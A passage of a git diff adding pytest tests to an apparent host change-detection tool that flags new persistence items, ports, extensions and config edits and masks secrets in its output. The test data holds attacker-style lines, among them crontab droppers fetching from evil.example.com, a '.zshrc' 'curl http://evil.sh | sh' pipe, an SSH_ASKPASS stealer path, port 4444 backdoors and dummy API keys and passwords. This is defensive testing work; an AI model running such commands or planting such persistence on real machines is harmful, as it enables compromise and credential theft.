ghp_abcdefghijklmnopqrstuvwxyz0123456789", "ghp_abcdefghijklmnopqrstuvwxyz0123456789"), + ("stripe sk_live_abcdefghijklmnop1234", "sk_live_abcdefghijklmnop1234"), + ("slack xoxb-1234567890-abcdefghijkl", "xoxb-1234567890-abcdefghijkl"), + ("*/5 * * * * sshpass -p Tr0ub4dor3 ssh a@h", "Tr0ub4dor3"), + ("mysqldump -u root -pTr0ub4dor3 db", "Tr0ub4dor3"), + ("curl -u bob:hunter2Mixed https://x", "hunter2Mixed"), +] +# Whole-line ONLY: a raw key body is recognised when it IS the line (`_B64LINE_RE` is anchored), +# which is how a PEM block looks. Deliberately NOT matched mid-line: the base64 alphabet is a +# superset of hex, so a 40-char git SHA in a comment or config would be redacted as "key +# material". Residual, accepted: a commented-out key body (`# AAAA…`) is shown. +WHOLE_LINE_SECRETS = [("A" * 64, "A" * 64), ("b" * 50 + "==", "b" * 50)] + + def _credential_value(rng): """A value that is unmistakably credential-shaped: >=6 chars and >=2 character classes, which is exactly the threshold `redact()` uses to distinguish a secret from a keyword.""" @@ -88,6 +113,13 @@ def _credential_value(rng): return val +def _single_class_value(rng): + """A LOW-entropy secret (one character class). The whitespace-separator branch shows these by + design (`password required pam_unix.so`), but an assignment must still mask them — and no + property generated one, so a mutant that ignored `:` separators entirely passed all 176.""" + return "".join(rng.choice(string.ascii_lowercase) for _ in range(rng.randint(8, 24))) + + def _lines_with_secret(rng, count): """Generate (line, secret) pairs where the secret MUST be masked.""" out = [] @@ -145,6 +177,59 @@ def test_property_chained_commands_are_each_scanned(seed): assert secret not in out, f"seed={seed} LEAK after a shown value\n in : {line!r}\n out: {out!r}" +@pytest.mark.parametrize("seed", SEEDS) +def test_property_secret_in_a_long_line_is_masked(seed): + """A secret far into a long line must still be masked. Nothing generated lines longer than a + couple of hundred characters, so a mutant that bailed out above 200 chars passed everything.""" + rng = random.Random(seed + 2024) + for _ in range(120): + secret = _credential_value(rng) + key = rng.choice(CREDENTIAL_KEYS) + pad_before = "# " + "x" * rng.randint(100, 1800) + pad_after = " " + "y" * rng.randint(0, 1800) + line = f"{rng.choice(MARKERS)}{pad_before}; {key}={secret}{pad_after}" + assert len(line) < since._REDACT_MAX, "keep it under the truncation cap" + out = since.redact(line) + assert secret not in out, f"seed={seed} LEAK at offset {line.index(secret)}: {out[:90]!r}" + + +@pytest.mark.parametrize("seed", SEEDS) +def test_property_low_entropy_value_still_masked_when_assigned(seed): + rng = random.Random(seed + 3033) + for _ in range(150): + secret = _single_class_value(rng) + key = rng.choice(CREDENTIAL_KEYS) + for sep in ("=", ": ", ":", " = "): + line = f"{rng.choice(MARKERS)}{key}{sep}{secret}" + out = since.redact(line) + assert secret not in out, f"seed={seed} LEAK (low entropy, assigned): {out!r}" + + +@pytest.mark.parametrize("line,secret", WHOLE_LINE_SECRETS) +@pytest.mark.parametrize("marker", MARKERS) +def test_property_whole_line_key_material_is_masked(line, secret, marker): + """Anchored by design (see WHOLE_LINE_SECRETS) — must hold on both diff markers, since a key + body once printed raw on the `-` side while the `+` side was masked.""" + assert secret not in since.redact(marker + line) + + +@pytest.mark.parametrize("line,secret", SHAPE_SECRETS) +@pytest.mark.parametrize("marker", MARKERS) +def test_property_shape_based_secrets_are_masked(line, secret, marker): + """The pre-assignment passes (PEM, bearer/basic/token, URL creds, standalone token shapes, + command-flag creds). Deleting all of them passed every property before this existed.""" + assert secret not in since.redact(marker + line) + + +@pytest.mark.parametrize("seed", SEEDS) +def test_property_shape_secrets_survive_surrounding_noise(seed): + rng = random.Random(seed + 4044) + for _ in range(120): + line, secret = rng.choice(SHAPE_SECRETS) + noisy = (rng.choice(MARKERS) + rng.choice(NOISE_PREFIX) + line + rng.choice(NOISE_SUFFIX)) + assert secret not in since.redact(noisy), f"seed={seed} LEAK: {since.redact(noisy)[:90]!r}" + + # --------------------------------------------------------------- P2: never hide @pytest.mark.parametrize("directive", DIRECTIVE_LINES) @pytest.mark.parametrize("marker", MARKERS) @@ -294,3 +379,97 @@ def test_property_no_rescan_loop_remains(): assert "_REDACT_MAX]" in body # and no helper recurses either assert "_show(" not in body + + +# --------------------------------------------------------------- P6: unnamed auth schemes +# The single-token design masks exactly ONE token per match, so a scheme word absorbed the mask +# and the credential after it printed in cleartext. Naming schemes can never be complete +# (bearer/basic/token/apikey/digest/negotiate were covered; SSWS, NTLM, HMAC and any vendor +# scheme were not), and `header = "Authorization: "` lives in .curlrc/.wgetrc, +# both tracked files. A bare alphabetic word under a credential key IS a scheme, so the secret +# is what follows it. +@pytest.mark.parametrize("scheme", ["SSWS", "NTLM", "HMAC", "AcmeSig", "Negotiate", "Bearer", + "ApiKey", "Digest", "signature", "OAuth"]) +@pytest.mark.parametrize("marker", MARKERS) +def test_property_unnamed_auth_scheme_does_not_shield_the_secret(scheme, marker): + secret = "SeCrEtVal123abc" + for line in (f'header = "Authorization: {scheme} {secret}"', + f'X-Auth: {scheme} {secret}', + f'authorization={scheme} {secret}'): + out = since.redact(marker + line) + assert secret not in out, f"{scheme}: {out!r}" + + +@pytest.mark.parametrize("line", [ + "PasswordAuthentication=yes", + "PasswordAuthentication no", + "password required pam_unix.so", + "AuthorizedKeysFile .ssh/authorized_keys", + "deva ALL=(ALL) NOPASSWD: /usr/bin/passwd bob", + "PermitRootLogin prohibit-password", +]) +@pytest.mark.parametrize("marker", MARKERS) +def test_property_scheme_rule_does_not_hide_directives(line, marker): + """The guard that keeps the scheme rule honest: it read `yes` in + `PasswordAuthentication=yes API-KEY: …` as a scheme, masked the harmless key name and left + the real credential. A config keyword is never a scheme, and the following token must itself + look like a secret.""" + assert since.redact(marker + line) == marker + line + + +@pytest.mark.parametrize("marker", MARKERS) +def test_property_escaped_quote_does_not_split_the_value(marker): + """A quoted value may contain an escaped quote; splitting there left the rest — including the + secret — outside the match.""" + for line, secret in [('password="a\\"b SeCrEtVal123"', "SeCrEtVal123"), + ("token='x\\'y SeCrEtVal123'", "SeCrEtVal123")]: + assert secret not in since.redact(marker + line), since.redact(marker + line) + + +# --------------------------------------------------------------- P7: round-4 regressions +# H1 (worst of the round): the interpreter caveat CLEARED `suspicious`, so an unsigned binary named +# `sh`/`node`/`python_helper` — a name the attacker chooses — dropped from RED to YELLOW, stopped +# firing --notify, and its "unsigned" label was replaced by a reassuring explanation. +@pytest.mark.parametrize("basename", ["sh", "bash", "node", "env", "python3", "python_helper"]) +def test_interpreter_caveat_never_clears_suspicion(monkeypatch, basename): + monkeypatch.setattr(since, "trust_of", lambda p: ("unsigned", True)) + monkeypatch.setattr(since, "plist_program_and_argv", + lambda k: (f"/tmp/.evil/{basename}", "")) + f = {"category": "launch_items", "action": "added", "key": "/x.plist", "value": "v", + "level": since.ORANGE, "label": "job", "trust": None, "why": None, "undo": None} + since._enrich(f, {}) + assert f["level"] == since.RED, f + assert "unsigned" in f["trust"] and "interpreter" in f["trust"], f["trust"] + + +@pytest.mark.parametrize("line,secret", [ + ('header = "Authorization: SSWS s3cr3tXyZ9aB4qW"', "s3cr3tXyZ9aB4qW"), + ('header = "Authorization: HMAC-SHA256-VERY-LONG-SCHEME-NAME s3cr3tXyZ9aB4qW"', "s3cr3tXyZ9aB4qW"), + ('password="' + "A" * 520 + ' s3cr3tXyZ9aB4qW"', "s3cr3tXyZ9aB4qW"), + ("password := s3cr3tXyZ9aB4qW", "s3cr3tXyZ9aB4qW"), + ("password => s3cr3tXyZ9aB4qW", "s3cr3tXyZ9aB4qW"), + ("password== s3cr3tXyZ9aB4qW", "s3cr3tXyZ9aB4qW"), + ("env _auth /J.9V3dlL6/_u_46b273Sa8U/E+=h_YX7rR7.62", "J.9V3dlL6"), +]) +@pytest.mark.parametrize("marker", MARKERS) +def test_property_round4_leaks_stay_closed(line, secret, marker): + """An unlisted auth scheme absorbing the mask; a quoted value past the old 512 bound; a + separator RUN so the next token was not the secret; and a base64 token that looks like a path + because base64 uses '/' (which is how the path exemption re-opened the P1 leak).""" + assert secret not in since.redact(marker + line) + + +@pytest.mark.parametrize("line", [ + "*/5 * * * * /opt/bin/refresh_token http://evil.example.com/x.sh", + "*/5 * * * * /tmp/.token_sync /tmp/.x/miner.sh", + "0 3 * * * /home/u/.api_key_refresh /tmp/.hidden/payload", + "SSH_ASKPASS /tmp/steal.sh", + "Defaults!/usr/bin/passwd !authenticate", + "password sufficient pam_deny.so", + "password required pam_unix.so", +]) +@pytest.mark.parametrize("marker", MARKERS) +def test_property_payload_context_stays_visible(line, marker): + """H2: masking the token after a credential-named path made an attacker-named dropper's + download URL vanish from the crontab diff. A URL, or a LOW-ENTROPY path, is the payload.""" + assert since.redact(marker + line) == marker + line diff --git a/tests/test_since.py b/tests/test_since.py index e6aac64..bc05b41 100644 --- a/tests/test_since.py +++ b/tests/test_since.py @@ -151,10 +151,25 @@ def test_new_port_on_known_listener_surfaces(): def test_full_port_turnover_is_suppressed(): - b = snap(collectors={"listening": {"rapportd": "5000,6000"}}) - c = snap(collectors={"listening": {"rapportd": "5001,6002"}}) - findings = since.build_findings(b, c) - assert not [f for f in findings if f["category"] == "listening"] + """Churn suppression is now NARROW: a multi-port set that is entirely EPHEMERAL (>=32768). + The old rule — "no overlap => churn" — silently dropped `8080 -> 4444` and a backdoor sharing + a churny process name, in the highest-signal category. This test used 5000/6000, which is + indistinguishable from that attack, so it encoded the bug.""" + b = snap(collectors={"listening": {"rapportd": "49152,49153"}}) + c = snap(collectors={"listening": {"rapportd": "49160,49161"}}) + assert not [f for f in since.build_findings(b, c) if f["category"] == "listening"] + + +@pytest.mark.parametrize("before,after", [ + ({"svc": "8080"}, {"svc": "4444"}), # single-port rebind + ({"rapportd": "49152"}, {"rapportd": "49157,4444"}), # backdoor under a churny name + ({"svc": "5000,6000"}, {"svc": "5001,6002"}), # non-ephemeral turnover +]) +def test_non_ephemeral_port_turnover_is_reported(before, after): + f = [x for x in since.build_findings(snap(collectors={"listening": before}), + snap(collectors={"listening": after})) + if x["category"] == "listening"] + assert f and f[0]["level"] >= since.ORANGE, (before, after, f) # --------------------------------------------------------------------------- H3: privilege-sensitive blobs @@ -408,6 +423,7 @@ def fake_run(cmd, **kw): return "" fake_run.exec = "{ path=/usr/bin/true ; argv[]=/usr/bin/true }" monkeypatch.setattr(since, "run", fake_run) + monkeypatch.setattr(since, "run_checked", fake_run) # list-unit-files is checked now before = since._linux_services()["evil.service"] fake_run.exec = "{ path=/tmp/miner ; argv[]=/tmp/miner }" # same unit, enabled, swapped Exec after = since._linux_services()["evil.service"] @@ -1789,3 +1805,245 @@ def test_installer_parses_and_has_no_bare_return_after_a_test(): # the exact shape that caused it: `[ ... ] || return` with no explicit status assert "|| return\n" not in installer.read_text(), \ "`|| return` propagates status 1 under set -e — use an explicit `return 0`" + + +# =========================================================================== # +# Round 4 — the previously UN-REVIEWED surfaces (collectors, render, ignore). # +# Five rounds had hammered redact() and the guard; this was the first look at # +# the rest, and it was the most productive round of the project. # +# =========================================================================== # + +# #1 (HIGH) — a broken helper turned its category into a silent EMPTY set: the diff reads that as +# "everything removed", tomorrow as "all of them are new" with the attacker's port among them, and +# if it stays broken the report says "Nothing changed" while a backdoor listens. SECURITY.md +# promises a skip WITH A NOTE; only a raised error delivers that. +@pytest.mark.parametrize("collector,tool", [ + ("_listening", "lsof"), ("_outbound", "lsof"), ("_mac_login_items", "osascript"), + ("_mac_net_config", "scutil"), ("_mac_kexts", "kextstat"), + ("_mac_system_extensions", "systemextensionsctl"), +]) +@pytest.mark.parametrize("mode", ["timeout", "nonzero"]) +def test_collector_tool_failure_is_loud(monkeypatch, collector, tool, mode): + monkeypatch.setattr(since.shutil, "which", lambda t: f"/usr/bin/{t}") + def fake(cmd, **kw): + if cmd and cmd[0] == tool: + if mode == "timeout": + raise since.subprocess.TimeoutExpired(cmd, kw.get("timeout", 1)) + class P: + returncode, stdout, stderr = 1, "", "boom" + return P() + class Q: + returncode, stdout, stderr = 0, "", "" + return Q() + monkeypatch.setattr(since.subprocess, "run", fake) + with pytest.raises(since.ToolUnavailable): + getattr(since, collector)() + + +def test_lost_coverage_covers_untooled_categories(): + """coverage_lost required a TOOL STAMP, which only 4 of 13 categories have — so a broken + lsof/osascript/scutil produced a passive note in the loudest categories in the tool.""" + def mk(err=None, listening=None): + s = snap(collectors={"listening": listening or {}}) + s["errors"] = err or {} + s["tools"] = {c: "" for c in since.CAT_TOOLS} + return s + good = mk(listening={"sshd": "22", "nginx": "80"}) + broken = mk(err={"listening": "lsof timed out after 20s"}) + unusable = since.unusable_cats(good, broken) + lost = since.coverage_lost(good, broken, unusable) + assert "listening" in lost, "a broken lsof was only a note" + findings = since.build_findings(good, broken, skip_cats=tuple(unusable), coverage=lost) + assert not [f for f in findings if f["category"] == "listening"] # no phantom removals + assert since.max_level(findings) >= since.ORANGE # and it notifies + + +# #2 (HIGH) — `cp /bin/sh ~/Library/.../SoftwareUpdateHelper` keeps the Apple signature, and the +# interpreter check was basename-only, so the report printed "signature: Apple-signed" beside +# attacker-planted persistence. +@pytest.mark.skipif(since.PLATFORM != "macos" or shutil.which("codesign") is None, + reason="needs macOS codesign") +def test_apple_signed_binary_outside_system_paths_is_suspicious(tmp_path): + import subprocess as sp + copy = tmp_path / "SoftwareUpdateHelper" + sp.run(["cp", "/bin/sh", str(copy)], check=True) + label, suspicious = since.trust_of(str(copy)) + assert suspicious, label + assert "COPIED" in label or "copied" in label, label + assert since.trust_of("/bin/sh") == ("Apple-signed", False) # the real one is fine + + +# #9 (MEDIUM) — reconstructing the bundle path from the KEY read the WRONG app: a bundle named +# `Calculator (cask).app` printed Calculator's signature; `Evil (snap).app` pointed nowhere so an +# unsigned bundle never escalated. /Applications is admin-writable. +def test_app_trust_check_uses_the_stored_path(monkeypatch, tmp_path): + seen = [] + monkeypatch.setattr(since, "trust_of", lambda p: (seen.append(p) or ("unsigned", True))) + for key in ("Calculator (cask)", "Evil (snap)", "Plain"): + bundle = tmp_path / f"{key}.app" + f = {"category": "applications", "action": "added", "key": key, "value": str(bundle), + "level": since.GREEN, "label": "app", "trust": None, "why": None, "undo": None} + since._enrich(f, {}) + assert seen[-1] == str(bundle), f"checked the wrong bundle: {seen[-1]}" + assert f["level"] == since.RED + + +def test_applications_collector_stores_the_real_path(monkeypatch, tmp_path): + monkeypatch.setattr(since, "HOME", tmp_path) + apps = tmp_path / "Applications" + (apps / "Evil (snap).app").mkdir(parents=True) + monkeypatch.setattr(since.os, "listdir", + lambda b: ["Evil (snap).app"] if str(b) == str(apps) else []) + res = since._mac_applications() + assert any(v.endswith("Evil (snap).app") for v in res.values()), res + + +# #4 (HIGH) — extension fingerprints were the DISPLAY NAME, so overwriting background.js, adding +# /cookies/webRequest, or swapping the .xpi were all invisible in a user-writable dir. +def test_extension_manifest_change_is_detected(monkeypatch, tmp_path): + monkeypatch.setattr(since, "HOME", tmp_path) + d = tmp_path / "Library/Application Support/Google/Chrome/Default/Extensions/abcd/1.9.0_0" + d.mkdir(parents=True) + (d / "manifest.json").write_text(json.dumps({"name": "uBlock", "permissions": ["storage"]})) + before = since._mac_browser_extensions() + (d / "manifest.json").write_text(json.dumps( + {"name": "uBlock", "permissions": ["storage", "", "cookies", "webRequest"]})) + assert since._mac_browser_extensions() != before, "a permission escalation was invisible" + + +def test_extension_version_dirs_sort_numerically(monkeypatch, tmp_path): + """Lexical order put `1.10.0_0` before `1.9.0_0`, so the OLD manifest was read.""" + monkeypatch.setattr(since, "HOME", tmp_path) + base = tmp_path / "Library/Application Support/Google/Chrome/Default/Extensions/abcd" + for v, name in (("1.9.0_0", "old"), ("1.10.0_0", "new")): + (base / v).mkdir(parents=True) + (base / v / "manifest.json").write_text(json.dumps({"name": name})) + assert "new" in list(since._mac_browser_extensions().values())[0] + + +def test_firefox_extension_swap_is_detected(monkeypatch, tmp_path): + monkeypatch.setattr(since, "HOME", tmp_path) + d = tmp_path / ".mozilla/firefox/p1/extensions" + d.mkdir(parents=True) + xpi = d / "evil@x.xpi" + xpi.write_bytes(b"a" * 100) + before = since._linux_browser_extensions() + xpi.write_bytes(b"b" * 500) # swapped in place + os.utime(xpi, (1784000000, 1784000000)) + assert since._linux_browser_extensions() != before + + +# #6 (MEDIUM-HIGH) — `startswith("com.apple")` is a string test, not provenance: naming a rootkit +# `com.apple.driver.AudioHelper` removed it from the report, and `co.`/`dev.`/`me.` prefixes were +# never collected at all. +def test_kext_collector_records_impersonating_and_unusual_ids(monkeypatch): + out = ("Index Refs Address Size Wired Name (Version) \n" + " 9 0 0xff 0x1 0x1 com.apple.driver.AudioHelper (1.0) <9>\n" + " 10 0 0xff 0x1 0x1 co.evilcorp.rootkit (1.0) <10>\n" + " 11 0 0xff 0x1 0x1 dev.evil.hook (2.0) <11>\n") + monkeypatch.setattr(since.shutil, "which", lambda t: "/usr/sbin/kextstat") + class P: + returncode, stdout, stderr = 0, out, "" + monkeypatch.setattr(since.subprocess, "run", lambda cmd, **kw: P()) + res = since._mac_kexts() + for k in ("com.apple.driver.AudioHelper", "co.evilcorp.rootkit", "dev.evil.hook"): + assert k in res, (k, res) + + +# #8 (MEDIUM) — creating a tracked config file was QUIETER than editing one: `~/.zshenv` is +# sourced by every zsh invocation, and at YELLOW it never crossed the --notify threshold. +def test_new_tracked_config_file_is_orange_and_notifies(): + b = snap() + c = snap(blobs={"~/.zshenv": "export PATH=$HOME/.evil/bin:$PATH\n"}) + f = [x for x in since.build_findings(b, c) if x["category"] == "config"][0] + assert f["action"] == "added" and f["level"] >= since.ORANGE + assert "NEW FILE" in since._describe(f) + + +# #7 (MEDIUM) — socket/path activation is standard user-level systemd persistence and was absent +# from every snapshot. +def test_linux_services_collects_socket_and_path_units(monkeypatch): + seen = {} + def fake(cmd, **kw): + seen["cmd"] = cmd + return "" + monkeypatch.setattr(since, "run_checked", fake) + monkeypatch.setattr(since, "run", fake) + monkeypatch.setattr(since, "need", lambda *a: None) + since._linux_services() + joined = " ".join(seen["cmd"]) + for unit_type in ("service", "timer", "socket", "path"): + assert unit_type in joined, joined + + +# #13 (LOW) — a corrupt labels.json made load_labels() return {}, which prune_snapshots read as +# "nothing is protected" and then DELETED the user's checkpoints. +def test_corrupt_labels_does_not_unprotect_checkpoints(monkeypatch, tmp_path): + monkeypatch.setattr(since, "SNAP_DIR", tmp_path) + monkeypatch.setattr(since, "LABELS_FILE", tmp_path / "labels.json") + monkeypatch.setattr(since, "KEEP_SNAPSHOTS", 1) + for i in range(4): + (tmp_path / f"2026072{i}T090000-178400000{i}.json").write_text(json.dumps(snap())) + (tmp_path / "labels.json").write_text("{corrupt") + before = len(since.list_snapshot_paths()) + since.prune_snapshots() + assert len(since.list_snapshot_paths()) == before, "pruned while labels were unreadable" + + +# Login items were keyed AND fingerprinted by DISPLAY NAME with no path collected, so planting an +# app named after an existing item was invisible, retargeting an existing item was invisible, and +# no signature check was possible — login items could never reach RED while the equivalent +# LaunchAgent did. Now keyed on path, with the name as the value. +def test_login_item_name_collision_is_visible_and_escalates(monkeypatch): + monkeypatch.setattr(since, "trust_of", lambda p: ("unsigned", True)) + b = snap(collectors={"login_items": {"/Applications/Bosun.app": "Bosun"}}) + c = snap(collectors={"login_items": {"/Applications/Bosun.app": "Bosun", + "/Users/x/.hidden/Bosun.app": "Bosun"}}) + f = [x for x in since.build_findings(b, c) if x["category"] == "login_items"] + assert len(f) == 1 and f[0]["key"] == "/Users/x/.hidden/Bosun.app" + assert f[0]["level"] == since.RED and f[0]["trust"] == "unsigned" + + +def test_login_item_collector_returns_paths(monkeypatch): + monkeypatch.setattr(since.shutil, "which", lambda t: "/usr/bin/osascript") + class P: + returncode = 0 + stdout = "Bosun\t/Applications/Bosun.app\nEvil\t/Users/x/.h/Evil.app\n" + stderr = "" + monkeypatch.setattr(since.subprocess, "run", lambda cmd, **kw: P()) + res = since._mac_login_items() + assert res == {"/Applications/Bosun.app": "Bosun", "/Users/x/.h/Evil.app": "Evil"} + + +def test_login_item_undo_deletes_by_name(monkeypatch): + monkeypatch.setattr(since, "PLATFORM", "macos") + hint = since.undo_hint("login_items", "/Users/x/.h/Evil.app", "Evil") + assert "item 1 of argv" in hint and shlex.quote("Evil") in hint + assert " -- " in hint # the option guard survives + + +# An ignore rule must never silence a CRITICAL finding, and suppressions must be disclosed: a +# user's own broad rule (the README suggests `listening:com.docker*`) can be matched by an +# attacker-chosen process name, and nothing in either output said rules were active. +def test_ignore_rule_cannot_silence_a_red(monkeypatch, tmp_path): + monkeypatch.setattr(since, "STATE_DIR", tmp_path) + monkeypatch.setattr(since, "IGNORE_FILE", tmp_path / "ignore.txt") + (tmp_path / "ignore.txt").write_text("config:*\n") + b = snap() + c = snap(blobs={"~/.zshrc": "curl http://evil.sh | sh\n"}) + f = since.build_findings(b, c) + red = [x for x in f if x["level"] == since.RED] + assert red, "an ignore rule silenced a critical finding" + assert "never" in (red[0]["why"] or ""), red[0]["why"] + + +def test_ignored_findings_are_counted_for_disclosure(monkeypatch, tmp_path): + monkeypatch.setattr(since, "STATE_DIR", tmp_path) + monkeypatch.setattr(since, "IGNORE_FILE", tmp_path / "ignore.txt") + (tmp_path / "ignore.txt").write_text("listening:com.docker*\n") + b = snap() + c = snap(collectors={"listening": {"com.docker.evil": "4444"}}) + stats: dict = {} + f = since.build_findings(b, c, stats=stats) + assert not [x for x in f if x["category"] == "listening"] # still suppressed (ORANGE) + assert stats == {"rules": 1, "ignored": 1} # …but counted for the note